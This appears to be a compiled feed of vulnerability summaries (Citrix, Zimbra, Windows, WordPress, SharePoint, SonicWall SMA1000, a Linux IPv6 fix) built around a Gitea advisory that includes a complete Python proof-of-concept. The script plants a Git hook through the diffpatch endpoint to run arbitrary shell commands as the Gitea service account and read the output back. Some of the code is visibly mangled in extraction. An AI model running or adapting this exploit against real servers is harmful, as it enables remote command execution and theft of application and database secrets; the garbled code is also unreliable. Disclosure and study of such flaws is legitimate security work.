Citrix NetScaler ADC and NetScaler Gateway contain an improper input validation vulnerability that could allow an unauthenticated attacker to execute arbitrary commands.
Citrix NetScaler ADC and NetScaler Gateway contain an improper restriction of operations within the bounds of a memory buffer vulnerability that could allow for remote code execution or denial of service
Summary
Gitea's diffpatch endpoint can be abused to install and execute a Git hook from repository-controlled content.
An attacker with ordinary write access to a repository can execute arbitrary shell commands as the Gitea OS user. With default open registration, an unauthenticated visitor can obtain the required write access by registering an account and creating a repository.
Details
services/repository/files/patch.go applies attacker-controlled patches in a shared bare temporary clone:
go cmdApply := gitcmd.NewCommand("apply", "--index", "--recount", "--cached", "--binary") if git.DefaultFeatures().CheckVersionAtLeast("2.32") { cmdApply.AddArguments("-3") }
Submitting the same patch twice creates an add/add collision. Git's three-way fallback checks the indexed path out even though the operation is performed with --cached.
In a bare clone, the repository root is $GITDIR. As a result, an executable entry named:
text hooks/post-index-change
becomes a live Git hook.
Git invokes the hook while writing the index, allowing repository-controlled content to execute arbitrary commands as the Gitea service account.
The hook's return value is not propagated to the diffpatch response.
The attached PoC stores command output in Git objects and creates a branch containing the result, so no outbound connection is required. The result is fetched through authenticated smart HTTP.
PoC
The supplied giteadiffpatchrcepoc.py uses an existing Gitea account. Run it against a test instance where the account can create a repository.
Set the account password:
bash export GITEAPASSWORD='account-password'
Execute a command through the diffpatch chain:
bash python3 ./giteadiffpatchrcepoc.py \ https://gitea.example \ pocuser \ 'id; uname -srm; pwd'
The script:
Creates an initialized private repository. Submits the same executable-hook patch twice. Fetches the result branch. Prints the command's combined stdout, stderr, and exit status. Prints the evidence repository, ref, and commit IDs to stderr.
Expected output resembles:
text uid=1000(git) gid=1000(git) groups=1000(git) Linux ... /data/gitea/tmp/...
[exit-status=0]
The trigger requires:
Git 2.32 or newer. An enabled diffpatch route. A writable and executable temporary filesystem.
Open registration is required only for the no-prior-credentials attack path.
Impact
This is remote command execution as the Gitea service account (CWE-94).
Depending on deployment isolation and the privileges of the Gitea OS user, successful exploitation may expose:
app.ini and Gitea application secrets. Process environment secrets. Mounted repositories. Database credentials and database contents. OAuth and integration credentials. Other internal or externally reachable services.
With open registration enabled, the attack can be performed by an unauthenticated visitor after registering a normal account and creating a repository.
<img width="928" height="687" alt="Screenshot 2026-07-25 at 14 45 44" src="https://github.com/user-attachments/assets/e7ce9fe7-bcab-4539-82fc-14c3856bda1c" />
python #!/usr/bin/env python3 -- coding: utf-8 -- """ Gitea RCE PoC – authorized testing only. """
from future import annotations
import argparse import base64 import getpass import hashlib import json import os from pathlib import Path
import secrets import shlex import shutil import subprocess import sys import tempfile
from typing import Any import urllib.error import urllib.parse import urllib.request
TIMEOUT = 30.0 USERAGENT = "gitea-rce-poc/2.0"
RST = "\033[0m" DIM = "\033[2m" GRN = "\033[38;5;46m" # bright green RED = "\033[31m" # red for errors
def g(t: str) -> str: return f"{GRN}{t}{RST}" def r(t: str) -> str: return f"{RED}{t}{RST}" def d(t: str) -> str: return f"{DIM}{t}{RST}"
def logstar(msg: str) -> None: print(f"{g('[]')} {d(msg)}") def logok (msg: str) -> None: print(f"{g('[+]')} {g(msg)}") def logerr (msg: str) -> None: print(f"{r('[-]')} {r(msg)}")
SEP = " " + "═" 44 BANNER = f"{SEP}\n GITEA REMOTE CODE EXECUTION POC\n{SEP}"
def printbanner(url: str, version: str | None = None, command: str | None = None) -> None: print() for line in BANNER.splitlines(): print(g(line)) print() ver = version or "unknown" print(g(" " + "-" 54)) print(g(f" Target : {url}")) print(g(f" Version : {ver}")) if command: print(g(f" Command : {command}")) print(g(" " + "-" 54)) print()
class PocError(RuntimeError): pass
class GiteaClient: def init(self, baseurl: str, username: str, password: str) -> None: parsed = urllib.parse.urlsplit(baseurl) if parsed.scheme not in {"http", "https"} or not parsed.netloc: raise PocError("URL must be an absolute http:// or https:// URL") if parsed.query or parsed.fragment: raise PocError("URL must not contain a query string or fragment") self.baseurl = baseurl.rstrip("/") self.username = username self.password = password encoded = base64.b64encode( f"{username}:{password}".encode() ).decode("ascii") self.authorization = f"Basic {encoded}"
def api( self, method: str, path: str, payload: dict[str, Any] | None = None, ) -> tuple[int, Any]: data = None if payload is not None: data = json.dumps(payload, separators=(",", ":")).encode() req = urllib.request.Request( self.baseurl + path, data=data, method=method, headers={ "Accept": "application/json", "Authorization": self.authorization, "Content-Type": "application/json", "User-Agent": USERAGENT, }, ) try: with urllib.request.urlopen(req, timeout=TIMEOUT) as r: raw = r.read() return r.status, json.loads(raw) if raw else None except urllib.error.HTTPError as exc: body = exc.read().decode("utf-8", errors="replace")[:2000] raise PocError(f"{method} {path} → HTTP {exc.code}: {body}") from exc except urllib.error.URLError as exc: raise PocError(f"{method} {path} failed: {exc.reason}") from exc except json.JSONDecodeError: raise PocError(f"{method} {path} returned invalid JSON")
def bloboid(content: bytes) -> str: return hashlib.sha1( f"blob {len(content)}\0".encode("ascii") + content ).hexdigest()
def buildhook(command: str, leakref: str) -> bytes: qcmd = shlex.quote(command) qref = shlex.quote(f"refs/heads/{leakref}") return ( "#!/bin/sh\n" 'gitdir=$(git rev-parse --absolute-git-dir) || exit 1\n' 'originobjects=$(sed -n "1p" "$gitdir/objects/info/alternates") || exit 2\n' 'case "$originobjects" in\n' ' /) ;;\n' ' ) originobjects="$gitdir/objects/$originobjects" ;;\n' "esac\n" 'origingit=${originobjects%/objects}\n' '[ "$origingit" != "$originobjects" ] || exit 3\n' f"outputblob=$({{ /bin/sh -c {qcmd}; " 'commandstatus=$?; printf "\\n[exit-status=%s]\\n" "$commandstatus"; } 2>&1 | ' 'git --git-dir="$origingit" hash-object -w --stdin) || exit 4\n' 'tree=$(printf "100644 blob %s\\toutput\\n" "$outputblob" | ' 'git --git-dir="$origingit" mktree) || exit 5\n' 'commit=$(printf "command output\\n" | ' "GITAUTHORNAME=poc GITAUTHOREMAIL=poc@example.invalid " "GITCOMMITTERNAME=poc GITCOMMITTEREMAIL=poc@example.invalid " 'git --git-dir="$origingit" commit-tree "$tree") || exit 6\n' f'git --git-dir="$origingit" update-ref {qref} "$commit" || exit 7\n' "exit 0\n" ).encode()
def buildpatch(hook: bytes) -> str: lc = hook.count(b"\n") hdr = ( "diff --git a/hooks/post-index-change b/hooks/post-index-change\n" "new file mode 100755\n" f"index {'0'40}..{bloboid(hook)}\n" "--- /dev/null\n" "+++ b/hooks/post-index-change\n" f"@@ -0,0 +1,{lc} @@\n" ).encode() return (hdr + b"".join(b"+" + l for l in hook.splitlines(keepends=True))).decode()
def rungit(git: str, arguments: list[str], env: dict[str, str]) -> bytes: try: result = subprocess.run( [git, arguments], env=env, stdin=subprocess.DEVNULL, stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=False, timeout=TIMEOUT, ) except subprocess.TimeoutExpired as exc: raise PocError(f"git timed out after {TIMEOUT:g}s") from exc except OSError as exc: raise PocError(f"could not run git: {exc}") from exc if result.returncode != 0: err = result.stderr.decode("utf-8", errors="replace")[:2000].strip() raise PocError(f"git exit {result.returncode}: {err}") return result.stdout
def fetchoutput(git: str, client: GiteaClient, owner: str, repo: str, leakref: str) -> bytes: remote = ( f"{client.baseurl}/" f"{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}.git" ) with tempfile.TemporaryDirectory(prefix="gitea-poc-") as tmp: bare = Path(tmp) / "fetch.git" authcfg = Path(tmp) / "auth.config" fd = os.open(authcfg, os.OWRONLY | os.OCREAT | os.OEXCL, 0o600) with os.fdopen(fd, "w", encoding="utf-8") as f: f.write(f"[http]\n\textraHeader = Authorization: {client.authorization}\n") env = {os.environ, "GITTERMINALPROMPT": "0"} rungit(git, ["init", "--bare", "--quiet", str(bare)], env) rungit(git, [ "-C", str(bare), "-c", f"include.path={authcfg}", "fetch", "--quiet", "--no-tags", remote, f"refs/heads/{leakref}", ], env) return rungit(git, ["-C", str(bare), "show", "FETCHHEAD:output"], env)
def splitoutput(raw: bytes) -> tuple[str, int | None]: text = raw.decode("utf-8", errors="replace") lines = text.splitlines() status: int | None = None if lines: t = lines[-1].strip() if t.startswith("[exit-status=") and t.endswith("]"): try: status = int(t[len("[exit-status="):-1]) except ValueError: pass else: lines.pop() return "\n".join(lines).rstrip("\n"), status
def parseargs() -> argparse.Namespace: p = argparse.ArgumentParser(description="Gitea RCE PoC") p.addargument("url", help="Gitea base URL") p.addargument("username", help="existing Gitea username") p.addargument("command", help="shell command to execute on target") return p.parseargs()
def main() -> int: args = parseargs() if "\0" in args.command: raise PocError("command must not contain a NUL character")
password = os.environ.get("GITEAPASSWORD") or getpass.getpass( g("[?]") + " password: " ) if not password: raise PocError("password must not be empty")
git = shutil.which("git") if git is None: raise PocError("git executable not found in PATH")
client = GiteaClient(args.url, args.username, password)
# version probe (pre-banner) logstar("probing target...") version: str | None = None try: r = urllib.request.Request( client.baseurl + "/api/v1/version", headers={"Accept": "application/json", "User-Agent": USERAGENT}, ) with urllib.request.urlopen(r, timeout=TIMEOUT) as resp: version = json.loads(resp.read()).get("version", "unknown") except Exception: version = "unknown" printbanner(client.baseurl, version, args.command)
logstar(f"target={client.baseurl} user={args.username} cmd={args.command}") print()
# step 1 – authenticate logstar("authenticating...") sc, acct = client.api("GET", "/api/v1/user") if sc != 200 or not isinstance(acct, dict): logerr("authentication failed"); raise PocError("auth failed") owner = acct.get("login") if not isinstance(owner, str) or not owner: logerr("no login in response"); raise PocError("no login") logok(f"logged in as {owner} ({version})")
# step 2 – create repo unique = secrets.tokenhex(5) repo = f"test-repo-{unique}" leakref = f"output-{unique}" logstar("creating repository...") sc, = client.api("POST", "/api/v1/user/repos", { "name": repo, "private": True, "autoinit": True, "defaultbranch": "main", "objectformatname": "sha1", }) if sc != 201: logerr("repo creation failed"); raise PocError("repo creation failed") logok(f"created repo {owner}/{repo}")
# steps 3–4 – deliver payloads body = { "content": buildpatch(buildhook(args.command, leakref)), "message": "initial commit", "branch": "main", "newbranch": "main", } ep = ( f"/api/v1/repos/{urllib.parse.quote(owner, safe='')}/" f"{urllib.parse.quote(repo, safe='')}/diffpatch" ) commits: list[str] = [] for cycle in (1, 2): logstar(f"delivering payload {cycle}/2...") sc, resp = client.api("POST", ep, body) try: commit = resp["commit"]["sha"] except (KeyError, TypeError) as exc: logerr(f"payload {cycle}/2 rejected") raise PocError(f"cycle {cycle} no commit") from exc if sc != 201: logerr(f"payload {cycle}/2 failed") raise PocError(f"cycle {cycle} failed") commits.append(commit) logok(f"payload {cycle}/2 accepted commit={commit[:16]}")
# step 5 – retrieve output logstar("retrieving output...") output = fetchoutput(git, client, owner, repo, leakref) logok("operation complete")
# command output cmdout, exitstatus = splitoutput(output) print() logok(f"{args.command}:") print(g("---")) if cmdout: for line in cmdout.splitlines(): print(g(line)) else: print(d("<no output>")) print(g("---")) if exitstatus == 0: logok(f"exit status: {exitstatus}") elif exitstatus is None: logstar("exit status: unknown") else: logerr(f"exit status: {exitstatus}")
return 0
if name == "main": try: raise SystemExit(main()) except PocError as exc: logerr(str(exc)) raise SystemExit(1) from None
A remote code execution vulnerability exists in Zimbra Collaboration (ZCS) before 10.1.20 when the optional zimbra-snmp package is installed and SNMP notifications are enabled. Due to improper sanitization of untrusted input during SNMP notification processing, an unauthenticated attacker can send specially crafted SMTP requests that may result in execution of arbitrary operating system commands as the Zimbra user.
Microsoft Windows Ancillary Function Driver for WinSock contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
Chromium: CVE-2026-85046 Type confusion in V8
An incomplete patch for CVE-2026-18556 allows for authentication bypass and account takeover in N-central Versions through 2026.3.1
Broadcom VMware vCenter contains a path traversal vulnerability which could allow a threat actor with network access to vCenter to execute arbitrary code.
WordPress 6.9.x before 6.9.5 and 7.0.x before 7.0.2 is affected by a REST API batch endpoint route confusion issue which, combined with the authornotin WPQuery SQL Injection (CVE-2026-60137), could allow an attacker to perform SQL Injection and achieve Remote Code Execution.
WordPress 6.8.x before 6.8.6, 6.9.x before 6.9.5, and 7.0.x before 7.0.2 does not properly sanitise the authornotin parameter of WPQuery, which could allow SQL Injection when a plugin or theme passes untrusted input to the parameter.
Microsoft SharePoint contains a missing authentication for critical function vulnerability that allows an unauthorized attacker to elevate privileges over a network.
A Server-side request forgery (SSRF) vulnerability has been identified in the SMA1000 Appliance Work Place interface. A remote unauthenticated attacker could potentially cause the appliance to make requests to unintended location.
Post-authentication improper control of generation of code ('Code Injection') vulnerability has been identified in the SMA1000 Appliance Management Console (AMC) which in specific conditions could potentially enable a remote authenticated attacker as administrator to execute arbitrary OS commands.
In ip6appenddata(), when the paged-allocation branch is taken (MSGMORE / NETIFFSG / large fraglen), alloclen and pagedlen are computed as
alloclen = fragheaderlen + transhdrlen; pagedlen = datalen - transhdrlen;
datalen already includes fraggap (datalen = length + fraggap). When fraggap is non-zero, this is not the first skb and transhdrlen is zero. The fraggap bytes carried over from the previous skb are copied just past the fragment headers in the new skb's linear area. The linear area is therefore undersized by fraggap bytes while pagedlen is overstated by the same amount, and the copy writes past skb->end into the trailing skbsharedinfo.
An unprivileged user can trigger this via a UDPv6 socket using MSGMORE together with MSGSPLICEPAGES.
The bad accounting was introduced by commit 773ba4fe9104 ("ipv6: avoid partial copy for zc"). Before commit ce650a166335 ("udp6: Fix ip6appenddata()'s handling of MSGSPLICEPAGES"), the negative copy value caused -EINVAL to be returned. That later commit allowed MSGSPLICEPAGES to proceed in this case, making the corruption triggerable.
The non-paged branch sets alloclen to fraglen, which already accounts for fraggap because datalen does. Bring the paged branch in line by adding fraggap to alloclen and subtracting it from pagedlen.
After this adjustment, copy no longer collapses to -fraggap on the paged path, so remove the stale comment describing that old arithmetic. Since a negative copy is no longer expected for a valid MSGSPLICEPAGES case, remove the MSGSPLICEPAGES exception from the negative copy check.